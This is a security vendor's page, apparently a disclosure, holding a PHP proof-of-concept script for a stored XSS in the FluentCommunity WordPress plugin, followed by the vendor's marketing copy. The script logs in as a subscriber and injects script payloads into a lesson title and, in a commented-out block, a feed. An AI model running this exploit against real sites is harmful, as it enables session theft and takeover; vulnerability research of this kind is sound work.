// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66467 - FluentCommunity <= 2.7.5 - Authenticated (Subscriber+) Stored XSS

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as subscriber to obtain cookies and nonces
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the REST nonce (required for API requests)
$ch = curl_init();
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce_response = curl_exec($ch);
curl_close($ch);
$nonce = $nonce_response; // The nonce is returned as plain text

// Step 3: Create a new lesson (or update existing) with XSS payload in title.
// Note: This requires the user to have access to the course management functionality.
// In some configurations, subscribers may not have this access. Adjust the endpoint and parameters
// according to the actual plugin setup (e.g., use a feed/comment endpoint if course creation is restricted).
$lesson_endpoint = $target_url . '/wp-json/fluent-community/v1/course/lesson/update';
$payload = '<img src=x onerror=alert(document.cookie)>'; // XSS payload
$lesson_data = [
    'lesson_id' => 1, // Replace with a valid lesson ID
    'title' => $payload,
    'status' => 'draft',
    'slug' => 'test-lesson'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $lesson_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($lesson_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Lesson update response: " . $response . "n";

// Alternatively, inject via media_preview.html in a feed or comment.
// The patch adds a permission check, but the original version lacked it, so any authenticated user could.
// Uncomment and adjust to test the media_preview vector.
/*
$feed_endpoint = $target_url . '/wp-json/fluent-community/v1/feeds';
$feed_data = [
    'message' => 'Test feed',
    'media' => [
        'type' => 'iframe_html',
        'html' => '<iframe srcdoc="<script>alert(1)</script>"></iframe>'
    ]
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $feed_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($feed_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "Feed creation response: " . $response . "n";
*/

// The XSS payload is now stored. When an admin or other user views the lesson (or feed) page,
// the JavaScript executes.
echo "XSS payload stored. Visit the course lesson page to trigger.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.